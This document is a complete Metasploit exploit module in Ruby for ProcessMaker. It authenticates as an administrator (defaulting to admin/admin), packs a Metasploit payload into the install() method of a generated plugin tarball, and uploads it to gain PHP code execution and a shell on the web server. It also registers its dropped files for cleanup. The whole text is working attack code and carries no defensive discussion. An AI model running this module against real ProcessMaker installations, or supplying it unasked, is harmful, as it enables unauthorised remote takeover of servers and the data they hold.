ProcessMaker Plugin Code Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'ProcessMaker Plugin Upload',  
'Description' => %q{  
This module will generate and upload a plugin to ProcessMaker  
resulting in execution of PHP code as the web server user.  
  
Credentials for a valid user account with Administrator roles  
is required to run this module.  
  
This module has been tested successfully on ProcessMaker versions  
1.6-4276, 2.0.23, 3.0 RC 1, 3.2.0, 3.2.1 on Windows 7 SP 1;  
and version 3.2.0 on Debian Linux 8.  
},  
'License' => MSF_LICENSE,  
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',  
'References' =>  
[  
['URL', 'http://wiki.processmaker.com/3.0/Plugin_Development']  
],  
'Payload' => { 'Space' => 20000 },  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [[ 'Automatic Targeting', {} ]],  
'Privileged' => false,  
'DisclosureDate' => 'Aug 25 2010',  
'DefaultTarget' => 0))  
register_options(  
[  
OptString.new('USERNAME', [true, 'The username for ProcessMaker', 'admin']),  
OptString.new('PASSWORD', [true, 'The password for ProcessMaker', 'admin']),  
OptString.new('WORKSPACE', [true, 'The ProcessMaker workspace', 'workflow'])  
])  
end  
  
def login(user, pass)  
vars_post = Hash[{  
'form[USR_USERNAME]' => Rex::Text.uri_encode(user, 'hex-normal'),  
'form[USR_PASSWORD]' => Rex::Text.uri_encode(pass, 'hex-normal')  
}.to_a.shuffle]  
  
print_status "Authenticating as user '#{user}'"  
uri = normalize_uri target_uri.path, "/sys#{@workspace}/en/neoclassic/login/authentication.php"  
res = send_request_cgi 'method' => 'POST',  
'uri' => uri,  
'cookie' => @cookie,  
'vars_post' => vars_post  
  
if !res  
fail_with Failure::Unreachable, 'Connection failed'  
elsif res.code == 200 && res.body =~ /Loading styles and images/  
# ProcessMaker 2.x and 3.x  
print_good "#{peer} Authenticated as user '#{user}'"  
elsif res.code == 302 && res.headers['location'] =~ /(cases|processes)/  
# ProcessMaker 1.x  
print_good "#{peer} Authenticated as user '#{user}'"  
else  
fail_with Failure::NoAccess, "#{peer} - Authentication failed"  
end  
end  
  
def upload_plugin plugin_name  
data = generate_plugin plugin_name  
  
print_status "#{peer} Uploading plugin '#{plugin_name}' (#{data.length} bytes)"  
  
# ProcessMaker 1.x requires "-" after the plugin name in the file name  
fname = "#{plugin_name}-.tar"  
  
boundary = "----WebKitFormBoundary#{rand_text_alphanumeric rand(10) + 5}"  
post_data = "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"__notValidateThisFields__\"\r\n"  
post_data << "\r\n\r\n"  
post_data << "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"DynaformRequiredFields\"\r\n"  
post_data << "\r\n[]\r\n"  
post_data << "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"form[PLUGIN_FILENAME]\"; filename=\"#{fname}\"\r\n"  
post_data << "Content-Type: application/x-tar\r\n"  
post_data << "\r\n#{data}\r\n"  
post_data << "--#{boundary}\r\n"  
  
uri = normalize_uri target_uri.path, "/sys#{@workspace}/en/neoclassic/setup/pluginsImportFile"  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => uri,  
'ctype' => "multipart/form-data; boundary=#{boundary}",  
'cookie' => @cookie,  
'data' => post_data  
}, 5)  
  
# Installation spawns a shell, preventing a HTTP response.  
# If a response is received, something probably went wrong.  
if res  
if res.headers['location'] =~ /login/  
fail_with Failure::NoAccess, 'Administrator privileges are required'  
else  
print_warning "#{peer} Unexpected reply"  
end  
end  
end  
  
def delete_plugin(plugin_name)  
uri = normalize_uri target_uri.path, "/sys#{@workspace}/en/neoclassic/setup/pluginsRemove"  
send_request_cgi({  
'method' => 'POST',  
'uri' => uri,  
'cookie' => @cookie,  
'vars_post' => { 'pluginUid' => plugin_name }  
}, 5)  
end  
  
def generate_plugin(plugin_name)  
plugin_class = %Q|<?php  
class #{plugin_name}Class extends PMPlugin {  
function __construct() {  
set_include_path(  
PATH_PLUGINS . '#{plugin_name}' . PATH_SEPARATOR .  
get_include_path()  
);  
}  
}  
|  
  
plugin_php = %Q|<?php  
G::LoadClass("plugin");  
  
class #{plugin_name}Plugin extends PMPlugin  
{  
public function #{plugin_name}Plugin($sNamespace, $sFilename = null)  
{  
$res = parent::PMPlugin($sNamespace, $sFilename);  
$this->sFriendlyName = "#{plugin_name}";  
$this->sDescription = "#{plugin_name}";  
$this->sPluginFolder = "#{plugin_name}";  
$this->sSetupPage = "setup";  
$this->iVersion = 1;  
$this->aWorkspaces = null;  
return $res;  
}  
public function setup() {}  
public function install() { #{payload.encoded} }  
public function enable() {}  
public function disable() {}  
}  
  
$oPluginRegistry =& PMPluginRegistry::getSingleton();  
$oPluginRegistry->registerPlugin('#{plugin_name}', __FILE__);  
|  
  
tarfile = StringIO.new  
Rex::Tar::Writer.new tarfile do |tar|  
tar.add_file "#{plugin_name}.php", 0777 do |io|  
io.write plugin_php  
end  
tar.add_file "#{plugin_name}/class.#{plugin_name}.php", 0777 do |io|  
io.write plugin_class  
end  
end  
tarfile.rewind  
tarfile.read  
end  
  
def cleanup  
delete_plugin @plugin_name  
end  
  
def exploit  
@workspace = datastore['WORKSPACE']  
  
@cookie = "PHPSESSID=#{rand_text_alphanumeric rand(10) + 10};"  
login datastore['USERNAME'], datastore['PASSWORD']  
  
@plugin_name = rand_text_alpha rand(10) + 10  
upload_dir = "../../shared/sites/#{@workspace}/files/input/"  
register_file_for_cleanup "#{upload_dir}#{@plugin_name}-.tar"  
register_file_for_cleanup "#{upload_dir}#{@plugin_name}.php"  
register_file_for_cleanup "#{upload_dir}#{@plugin_name}/class.#{@plugin_name}.php"  
register_dir_for_cleanup "#{upload_dir}#{@plugin_name}"  
  
upload_plugin @plugin_name  
end  
end  
`